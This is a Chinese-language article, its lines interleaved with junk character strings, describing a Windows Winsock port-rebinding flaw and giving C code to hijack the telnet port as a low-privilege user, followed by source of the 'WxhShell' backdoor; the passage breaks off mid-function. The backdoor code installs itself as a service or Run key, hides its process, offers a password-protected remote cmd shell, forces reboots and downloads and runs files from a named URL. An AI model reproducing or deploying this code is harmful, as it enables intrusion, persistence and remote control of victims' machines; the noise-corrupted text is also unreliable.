在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
mjkw&2 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
f4A4 |wyJh"4!
saddr.sin_family = AF_INET;
wfU&{7yt q.u[g0h; saddr.sin_addr.s_addr = htonl(INADDR_ANY);
mE3SiR " (}/.4xE bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
U_N5~#9 mTI\,x%<OC 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
-Ib+#pX qCxD{-9x{ 这意味着什么?意味着可以进行如下的攻击:
3_R c"QkE* 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
buxI-wv
01UR 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
`K@df<}%*, J;Z>fAE7 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
eD`
, g~$GE},, 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
XeIUdg4>R I!soV0VU] 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
fa*H cz Ma*dIwEp 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
*]E7}bqb JtrDZ;^@
下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
HIWmh4o/. C&CsI] @g #include
U_
?elz\
#include
)68fm\t( #include
H-\{w
#include
-'p@ lk DWORD WINAPI ClientThread(LPVOID lpParam);
HHu7{, int main()
*n|0\V< {
5qtmb4R~ WORD wVersionRequested;
&T|&D[@ DWORD ret;
'Kso@St`o WSADATA wsaData;
#@\NdW\ BOOL val;
5?~[|iPv
SOCKADDR_IN saddr;
/Vm}+"BCS SOCKADDR_IN scaddr;
~b6<uRnM. int err;
a@_Cx SOCKET s;
Oih2UrF SOCKET sc;
v<J;S9u= int caddsize;
CAo )v,f HANDLE mt;
ap$tu3j DWORD tid;
Ignv|TYG wVersionRequested = MAKEWORD( 2, 2 );
=`\,2Nb err = WSAStartup( wVersionRequested, &wsaData );
:!iPn% if ( err != 0 ) {
PVkN3J printf("error!WSAStartup failed!\n");
&fd4IO/O return -1;
y!6: }
QY\wQjwuW saddr.sin_family = AF_INET;
yL3<X w| )Y,?r[4{ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
q[|`&6B R;TEtu7 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
#L IsL saddr.sin_port = htons(23);
X,Q=n2X?3 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Y7t{4P {
Ualq>J5-m- printf("error!socket failed!\n");
o?O,nD
6 return -1;
*"QE1Fum' }
u g:G9vjQ val = TRUE;
PSQ:' //SO_REUSEADDR选项就是可以实现端口重绑定的
f~" V if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
cV_IG}LJ {
`Ig2f$} printf("error!setsockopt failed!\n");
eeJt4DV8v return -1;
1DlcO>#@ }
cD`O+WA2K //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
O"^a.`27 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
'GzhZ`E6 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
s^?sJUj 7(g&z% if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
2SPFjpG8n {
g&F<Uv#mZ ret=GetLastError();
w$;*~Qc printf("error!bind failed!\n");
S}[:;p?F` return -1;
m3xj5]#^$ }
j% USu+& listen(s,2);
JX0_UU while(1)
OZ14-}Lr5 {
S@G{|. )2 caddsize = sizeof(scaddr);
:+^$?[6] //接受连接请求
No&[ \; sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
-zLI!F 0 if(sc!=INVALID_SOCKET)
P5xmLefng {
d<'Yt|zt mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
^RAFmM#F if(mt==NULL)
0#/
6P&6 {
UG'U
D" printf("Thread Creat Failed!\n");
^?]H$e break;
Cl.T'A$ }
Heif FJn }
jsaCnm>& CloseHandle(mt);
Bt7v[Ot
}
J+NK+,_*M closesocket(s);
)$4DH:WN WSACleanup();
sfPN\^k2 return 0;
Jb.u^3R@ }
1`_)%Y[ZJ DWORD WINAPI ClientThread(LPVOID lpParam)
:Sn3|`HDm {
`h3}"js SOCKET ss = (SOCKET)lpParam;
Z:$b)+2:\ SOCKET sc;
v]U;5Uo unsigned char buf[4096];
y/6LMAI SOCKADDR_IN saddr;
[IBk-opap long num;
JsEEAM:w DWORD val;
U*:'/. DWORD ret;
X@q1;J //如果是隐藏端口应用的话,可以在此处加一些判断
p}7&x[fTLk //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
jyH_/X5i7 saddr.sin_family = AF_INET;
jF_I4H saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
aB!Am +g saddr.sin_port = htons(23);
f:&OOD o if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
BIf].RY {
c!^}!32j) printf("error!socket failed!\n");
+##I4vP return -1;
NT/B4'_@ }
bu&y w~ val = 100;
l*H"]6cXRL if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
K61os&K {
J}\]<aC ret = GetLastError();
Ka\b_P& return -1;
XqH<)B
] }
\%Q
rN+WQ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
8mLU ~P
| {
dKpa5f7 ret = GetLastError();
^(vd8 &71 return -1;
S]=Vr%irX }
1u+(rVQN if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
[V0 h9! {
3~xOO*`o printf("error!socket connect failed!\n");
Rj`Y X0?+ closesocket(sc);
V<pjR@ closesocket(ss);
>{Z=cv/6o return -1;
eJp-s" % }
}8#Czo jt while(1)
v ed
Qwzh {
Ib2pV2`h( //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
}h6z&:qA[? //如果是嗅探内容的话,可以再此处进行内容分析和记录
%([H*sLX //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
~U+'3.Wo num = recv(ss,buf,4096,0);
cSk}53 if(num>0)
$7d"9s\$" send(sc,buf,num,0);
0 %+k>(@R else if(num==0)
%WN2 xCSf break;
j~q`xv+R num = recv(sc,buf,4096,0);
qG]PUc>j if(num>0)
x)L@xQ send(ss,buf,num,0);
c$fM6M
} else if(num==0)
nTKfwIeg5 break;
a"aV&t }
epyfggMT closesocket(ss);
A,qG*lv closesocket(sc);
?9TogW>W return 0 ;
OhEL9"\< }
_s8_i6 Y T<)z2Bi #mYxO ==========================================================
"QS7?=>*F m@~x*+Iz 下边附上一个代码,,WXhSHELL
g"Bv!9*H 7!%"8Rl- ==========================================================
kM`#U
*j y>8?RX8 #include "stdafx.h"
{eUfwPAa3 ^dv>n]? #include <stdio.h>
|e&Kg~~C #include <string.h>
:^a$ve3(Jq #include <windows.h>
[_n|n"M #include <winsock2.h>
4>* `26 #include <winsvc.h>
n4johV.# #include <urlmon.h>
Jiq[VeLe
N=9lA0y+ #pragma comment (lib, "Ws2_32.lib")
W6Pg:Il7 #pragma comment (lib, "urlmon.lib")
Sdp1h0E}7= {'!~j!1'j #define MAX_USER 100 // 最大客户端连接数
rY}ofq7b #define BUF_SOCK 200 // sock buffer
51x,[y+Xe #define KEY_BUFF 255 // 输入 buffer
jQ*Qh v*3:8Y, #define REBOOT 0 // 重启
#SueT"F #define SHUTDOWN 1 // 关机
UB}mI0/w x5ia<V>=d #define DEF_PORT 5000 // 监听端口
Yo:&\a K[ Q*:
Ow] #define REG_LEN 16 // 注册表键长度
1o%Hn"uG #define SVC_LEN 80 // NT服务名长度
=%LS9e^7D u2QJDLMJv // 从dll定义API
xh0!H|
R typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
V
EzIWNV typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
bX,Z<BvbF typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
M3%<kk-_ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
|UG)*t/ P}gh-5x // wxhshell配置信息
JFfx9%Fq struct WSCFG {
^d,d<Uc int ws_port; // 监听端口
Y2Bu,/9^ char ws_passstr[REG_LEN]; // 口令
_EP}el int ws_autoins; // 安装标记, 1=yes 0=no
+\4=G@P.J char ws_regname[REG_LEN]; // 注册表键名
lgl/|
^ Uw char ws_svcname[REG_LEN]; // 服务名
h(BN6ZrzKd char ws_svcdisp[SVC_LEN]; // 服务显示名
D$\ EZ char ws_svcdesc[SVC_LEN]; // 服务描述信息
D%zIm,bf char ws_passmsg[SVC_LEN]; // 密码输入提示信息
5zU$_ M int ws_downexe; // 下载执行标记, 1=yes 0=no
8Xr"4;}f+ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
rlD@O~P4 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
5s;#C/ZZ EOL03N };
c}A^0,"z> i>;G4 // default Wxhshell configuration
gIeo7>u struct WSCFG wscfg={DEF_PORT,
_wIAr "xuhuanlingzhe",
Ae1},2py 1,
N}\i!YUD "Wxhshell",
95}"AIi "Wxhshell",
q07>FW R "WxhShell Service",
Rzp-Q5@MY "Wrsky Windows CmdShell Service",
?pFHpz "Please Input Your Password: ",
-
0zo>[c/p 1,
D3eK!'qS "
http://www.wrsky.com/wxhshell.exe",
CXa$QSu > "Wxhshell.exe"
QFMS] };
di"*K*~y rS=6d6@ // 消息定义模块
pcE.
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
3'8~H]<W char *msg_ws_prompt="\n\r? for help\n\r#>";
l1@:&j3h char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
)[A}h'J) char *msg_ws_ext="\n\rExit.";
s;bqUY?LD char *msg_ws_end="\n\rQuit.";
Q,>AT$| char *msg_ws_boot="\n\rReboot...";
sviGS&J9h char *msg_ws_poff="\n\rShutdown...";
7JbN WN char *msg_ws_down="\n\rSave to ";
@ ~PL|Pp_ k7j;'6 char *msg_ws_err="\n\rErr!";
0'gJSrgNI char *msg_ws_ok="\n\rOK!";
!+i wDn5|F}i& char ExeFile[MAX_PATH];
a}6Wo= int nUser = 0;
'E9\V\bi HANDLE handles[MAX_USER];
xk#/J]j int OsIsNt;
=T[kGg8` zzM 'uo SERVICE_STATUS serviceStatus;
(|W@p\Q SERVICE_STATUS_HANDLE hServiceStatusHandle;
ALhu\x>AY 7uYJ_R // 函数声明
ZZ.GpB. int Install(void);
}_K7}] 1 int Uninstall(void);
zT.qNtU% int DownloadFile(char *sURL, SOCKET wsh);
RK|C* TCnl int Boot(int flag);
k5((@[ void HideProc(void);
@X|Cu bJ int GetOsVer(void);
=YR/|9( int Wxhshell(SOCKET wsl);
r.[9/'> void TalkWithClient(void *cs);
0C7x1: int CmdShell(SOCKET sock);
-FwOX~s/' int StartFromService(void);
p9 %7h. int StartWxhshell(LPSTR lpCmdLine);
O3Yv -># ENygD VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
QDs]{F# VOID WINAPI NTServiceHandler( DWORD fdwControl );
|[8&5[); oGa8}Vtc // 数据结构和表定义
sk9*3d5I SERVICE_TABLE_ENTRY DispatchTable[] =
b3W@{je {
9|fg\C {wscfg.ws_svcname, NTServiceMain},
fs\l*nBig {NULL, NULL}
[*@"[u };
]JbGP{UiN S-*4HV_l // 自我安装
"d9"Md0k int Install(void)
=
oQ-I {
3V2"1Ic char svExeFile[MAX_PATH];
*zJ}=%)f HKEY key;
3 cu`U` strcpy(svExeFile,ExeFile);
,..&j+m jUYb8:B // 如果是win9x系统,修改注册表设为自启动
;mu^WIj if(!OsIsNt) {
5$/ED3mcK if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
oIN!3 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
vdV@G`)HPr RegCloseKey(key);
|#>\GU=! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
o[X'We; RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
HTAJn_ RegCloseKey(key);
x=(Q$Hl5 return 0;
l~.ae,|7 }
J4&d6[40 }
akoK4!z }
A}W)La\
else {
@lRTp /I(IT=kp // 如果是NT以上系统,安装为系统服务
LB1LQ0M SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
W1fEUVj if (schSCManager!=0)
Bvb.N$G {
J'jwRn SC_HANDLE schService = CreateService
Gm~jC < (
R7pdwKD schSCManager,
`83s97Sa wscfg.ws_svcname,
&NM.}f wscfg.ws_svcdisp,
$dIu${lu SERVICE_ALL_ACCESS,
c6 VfFt6p SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
;/l$&: SERVICE_AUTO_START,
+uZ,}J SERVICE_ERROR_NORMAL,
PT4Wox9U svExeFile,
E{'{fo!#) NULL,
Y">m g=B NULL,
QhR.8iS NULL,
2O;Lw@W NULL,
:Yeo*v9 NULL
?tx%KU\3 );
B8_)I. if (schService!=0)
ZFYv|2l {
~QzUQYG* CloseServiceHandle(schService);
IdTatE|^ CloseServiceHandle(schSCManager);
8$9Q=M strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
JWQd/ strcat(svExeFile,wscfg.ws_svcname);
4
JC*c if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
,t?c=u\5 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
{<$ D|<S RegCloseKey(key);
g2)jd[GM return 0;
K=lm9K }
B6qM0QW }
dZ^(e0& :H CloseServiceHandle(schSCManager);
T .#cd1b }
v|~&I%S7 }
FVY$A=G F3uR:)4<M return 1;
vl}fC@%WRI }
(h&XtFul} cl2+,!: // 自我卸载
a*
2*aH7 int Uninstall(void)
'OEh'\d+x {
`eZ
+Pf". HKEY key;
!W\Zq+^^J3 "!w$7|%T if(!OsIsNt) {
GTYCNi66 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
+`jI z'+ RegDeleteValue(key,wscfg.ws_regname);
H| UGR~& RegCloseKey(key);
^lw0}
i if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
pk>p|q RegDeleteValue(key,wscfg.ws_regname);
C6<*'5T RegCloseKey(key);
1VXyn\ return 0;
I| Vyv }
8)KA {gN} }
lRO7 Ae }
%1JN% else {
J~jxmh l( Y
U9dp SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
k 'CM^,F& if (schSCManager!=0)
PJ$C$G {
.@5RoD[o SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
|M;tAG$,"y if (schService!=0)
n8K FP {
?v5OUmFM if(DeleteService(schService)!=0) {
hwD;1n CloseServiceHandle(schService);
DA9-F CloseServiceHandle(schSCManager);
[<0\v<{`L return 0;
II,snRD }
N'5AU ( CloseServiceHandle(schService);
'gD,HX }
{.HFB:<!} CloseServiceHandle(schSCManager);
ezz;NH }
O,D/&0 }
sJ3O ] 9y$"[d27;+ return 1;
BH;7CK=7R }
Id(wY$C&> ;:`0:Ao. // 从指定url下载文件
5YG%\ int DownloadFile(char *sURL, SOCKET wsh)
C@P4}X0,= {
:nLhg$wMs HRESULT hr;
#Rw9Iy4 char seps[]= "/";
?|$IZ9 char *token;
E0lro+'lS char *file;
qX_(
M2oLU char myURL[MAX_PATH];
>Nho`m( char myFILE[MAX_PATH];
[t{ed)J Nn:>c<[ strcpy(myURL,sURL);
2D vKW%; token=strtok(myURL,seps);
HLruZyN4 while(token!=NULL)
^_0l(ke {
.29y3}[PO file=token;
"TQ3{=j{ token=strtok(NULL,seps);
h ycdk1SN }
ajJ+Jn\ G&DL)ePu]m GetCurrentDirectory(MAX_PATH,myFILE);
jb'AOs strcat(myFILE, "\\");
m|8ljXX strcat(myFILE, file);
PKK18E}{%^ send(wsh,myFILE,strlen(myFILE),0);
cy%S5Rz send(wsh,"...",3,0);
zEJZ, < hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
iH;IXv,b3 if(hr==S_OK)
QKAt%"1& return 0;
%9HL" else
H6Dw5vG"l return 1;
QVq+';cG I}!ErV }
S+mM S !J/fJW>m6 // 系统电源模块
xkPH_+4i8 int Boot(int flag)
\[CPI`yQe {
AzlZe\V?)~ HANDLE hToken;
&?wNL@n TOKEN_PRIVILEGES tkp;
{g@?\ 2*5]6B-( if(OsIsNt) {
GyP.;$NHa[ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
&X`zk LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
a%igc^GS2 tkp.PrivilegeCount = 1;
9`8D Ga tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
wiE'6CM AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
6.(L8.jv if(flag==REBOOT) {
9% wVE] if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
) Z^b)KAk return 0;
ZPO+ #, }
(h$[g"8 else {
w /l\p3n if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
67]kT%0 return 0;
u.~`/O }
7{fOo%(7 }
O_bgrXg6x else {
ab/^z0GT if(flag==REBOOT) {
eCfy'US;@3 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
L?:fyNA3[ return 0;
$(A LxC }
Lo-\;%y else {
_O w]kP=' if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
%'`L+y return 0;
CG397Y^ }
T x
6\ }
Ee0}Xv Ak=|wY{ return 1;
5U[bn=n }
>M-ZjT> 23|R $s>}i // win9x进程隐藏模块
N |nZf5{ void HideProc(void)
A!bH0=<I {
{%PgR){qR -q6d&D'B+ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
g71|t7Q if ( hKernel != NULL )
Dc;zgLLL {
Du7DMo=l pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
YVT\@+C' ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
Sb,lY<= FreeLibrary(hKernel);
JA(M'&q4 }
*<rBV`AP V
'e_gH return;
DI,8y"!5 }
_G1C5nkDl4 bzh`s<+ // 获取操作系统版本
U?W?VEOO!7 int GetOsVer(void)
\Ng|bWR>LQ {
/~nPPC OSVERSIONINFO winfo;
!^m,v19Ds< winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
uL1$yf' GetVersionEx(&winfo);
Y%"73.x if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
ZlEH3-Zv return 1;
^+b ??K else
T
7EkRcb return 0;
BH+@!H3hf }
'$m
uA\ @5Zg![G // 客户端句柄模块
o n+:{ad int Wxhshell(SOCKET wsl)
6Q}WX[| tQ {
v==]v2- SOCKET wsh;
{L9WeosQ struct sockaddr_in client;
J3P)oM[ DWORD myID;
v$_YZm{!< %V2A}78 while(nUser<MAX_USER)
4,.B#: 8 {
NL7CeHs5 int nSize=sizeof(client);
~wl4 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
s+RSAyU if(wsh==INVALID_SOCKET) return 1;
6OOdVS3\J 0Xx&Z8E handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
PW)Gd +y if(handles[nUser]==0)
`L#`WC@[o closesocket(wsh);
FvTc{"w / else
,Q>RtV nUser++;
z&x3":@u< }
/rQ[Ik$| WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
`of`u B ugT;NB return 0;
Rz\:)<G }
9S8>"w^R ~EJ+<[/ // 关闭 socket
Z&w/JP? void CloseIt(SOCKET wsh)
%D9,Femt {
Y(D&JKx closesocket(wsh);
}>T$2"pf nUser--;
yR|Beno ExitThread(0);
|:jka }
:1/K$A)^{ Q(gc(bJV // 客户端请求句柄
^xZ o.P void TalkWithClient(void *cs)
+q NX/F {
\f6@B:?y gp`H>Sn.| SOCKET wsh=(SOCKET)cs;
4x;vn8yh char pwd[SVC_LEN];
EqB3f_ char cmd[KEY_BUFF];
'1u!@=.\G char chr[1];
&Ub0o2+y int i,j;
iT;~0XU7F U0Q:sA U while (nUser < MAX_USER) {
Kx[u9MD /xseI)y.B if(wscfg.ws_passstr) {
"B9aJo if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
PRo;NE //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
h0v4!`PQ- //ZeroMemory(pwd,KEY_BUFF);
U!xOJ i=0;
<R%]9#re while(i<SVC_LEN) {
Gs7#W:e7 wy)I6`v // 设置超时
V/; / & fd_set FdRead;
nGvWlx struct timeval TimeOut;
:j=/>d],% FD_ZERO(&FdRead);
/ZcqKC
FD_SET(wsh,&FdRead);
GLIe8T*ht TimeOut.tv_sec=8;
`tZ-8f TimeOut.tv_usec=0;
Ln2dD> {2 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
)C0dN>Gb if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
6n}5>GSF M:* ^k if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
1`;,_>8 pwd
=chr[0]; hrt]Qn&
if(chr[0]==0xd || chr[0]==0xa) { '=^$;3Z
pwd=0; Z\@m_/g
break; _r6aLm2n
} E$w2SQ
i++; |x[zzx#
>-
} Uz&XqjS
mV58&SZT
// 如果是非法用户,关闭 socket T9,T'y>BD
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Gxj3/&]^Y
} HalkNR-eEm
<o\2-fWvY
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); PN$vBFjm
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z
g '1T2t
xq.HR_\
while(1) { cc"L> XoK
]nEZQ+F
ZeroMemory(cmd,KEY_BUFF); @7C?]/8#
)kq3q5*_
// 自动支持客户端 telnet标准 ]B;\?Tim
j=0; tc_D8Q_
while(j<KEY_BUFF) { )Apg
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); AxXFzMW
cmd[j]=chr[0]; -}h+hS50F
if(chr[0]==0xa || chr[0]==0xd) { 2I2#o9(Ar
cmd[j]=0; C#y[UM5\k;
break; Pd,+=
ML
} ~sI$xX!
j++; m
_0D^e7#
} jf_0IE
N<xf=a+j
// 下载文件 7,\Uk|
if(strstr(cmd,"http://")) { ]G0`W6;$]
send(wsh,msg_ws_down,strlen(msg_ws_down),0); kg>Ymo.
if(DownloadFile(cmd,wsh)) b :Knc$
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1lxsj{>U
else 3E!#?N|v
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A1zqm_X5)P
} >@2l/x8;
else { [I`r[u
cR0RJ$[d
switch(cmd[0]) { jf&LSK;2
x<0-'EF/S
// 帮助 q+MV@8w
case '?': { iaqhP7!
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Wp0e?bK_
break; Jl"),;Od
} Q9lw~"
// 安装 0 L34)W
case 'i': { 6AZJ,Q\E@
if(Install()) o@ ?3i+%}8
send(wsh,msg_ws_err,strlen(msg_ws_err),0); }),tk?\
else kAbkhZ1^
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +\`D1d@
break; -%&_LE9ZtS
} ^y?7B_%:B#
// 卸载 ~~?4w.k
case 'r': { Xd_86q8o
if(Uninstall()) _YXk,ME!Q
send(wsh,msg_ws_err,strlen(msg_ws_err),0); sOSol7n
else G`9\v=0
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Kilq Jg1%C
break; 73$^y)AvY
} ZQT14. $L
// 显示 wxhshell 所在路径 zN(fZT}K5
case 'p': { {Gnji] v
char svExeFile[MAX_PATH]; ,3G8afo
strcpy(svExeFile,"\n\r"); S~\i"A)4
strcat(svExeFile,ExeFile); v;S7i>\
send(wsh,svExeFile,strlen(svExeFile),0); (k9{&mPJ
break; 10v4k<xb
} Azx4+`!-
// 重启 0`=#1u8
case 'b': { 3~"G(UP
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6i/x"vl>
if(Boot(REBOOT)) k
zhek >
send(wsh,msg_ws_err,strlen(msg_ws_err),0); UV%Al)3
else { )%q]?@kB
closesocket(wsh); [&n2 yt
ExitThread(0); Zx(VwB2
} g{@q
break; fX).A`
} R07Kure
// 关机 +tL]qOBP
case 'd': { zbdmz
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?5e:w?&g@
if(Boot(SHUTDOWN)) 3^l@!Qw
send(wsh,msg_ws_err,strlen(msg_ws_err),0); xzg81sV7
else { .g.v
closesocket(wsh); f&glY`s#
ExitThread(0); *TY?*H
} oD]tHuDa
break; 3]BK*OqJ
} w-?_U7'
// 获取shell n7`R+4/s
case 's': { <rc? EV
CmdShell(wsh); OD!b*Iy|
closesocket(wsh); xJ>U_Gd
ExitThread(0); v*'dA^Q
break; <A +VS
} mG2*s ^$
// 退出 !6:kJL}U
case 'x': { @K; 4'b~
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Uk=jQfA*J
CloseIt(wsh); GGcNaW'
break; XTpYf
} ( /{Wu:e
// 离开 E7-il;`cKn
case 'q': { A{mv[x-XN
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5y;texsj[
closesocket(wsh); Lu!o!>b
WSACleanup(); wP.b2X_V
exit(1); ?4Z`^uy
break; iB1"aE3
} 25%[nkO4
} fB+4mEG@
} cl
kL)7RQ
3B#qQ#
// 提示信息 ehB (?
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K[JbQ30
} v<
qN-zG
} Vvk1 D(
R&Y+x;({
return; mOG;[CB
} KECo7i= e
f& P'Kxj_
// shell模块句柄 9<BC6M_/
int CmdShell(SOCKET sock) gE$D#PZa
{ r w(EI,G
STARTUPINFO si; d>[=]
ZeroMemory(&si,sizeof(si)); ' jAX&7G`
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )Y.H*ca
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; BEWDTOY[
PROCESS_INFORMATION ProcessInfo; KwO;ICdJ
char cmdline[]="cmd"; lezX-5Z
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~JhH ,E
return 0; wq$+m(
} g{{DC )>
vz'/]E
// 自身启动模式 LYY3*d
int StartFromService(void) QP HibPP:
{ X@;;
h
typedef struct {/|RKV83
{ Fo\* Cr9D
DWORD ExitStatus; E6+c{4 1B
DWORD PebBaseAddress; /G*]3=cSe
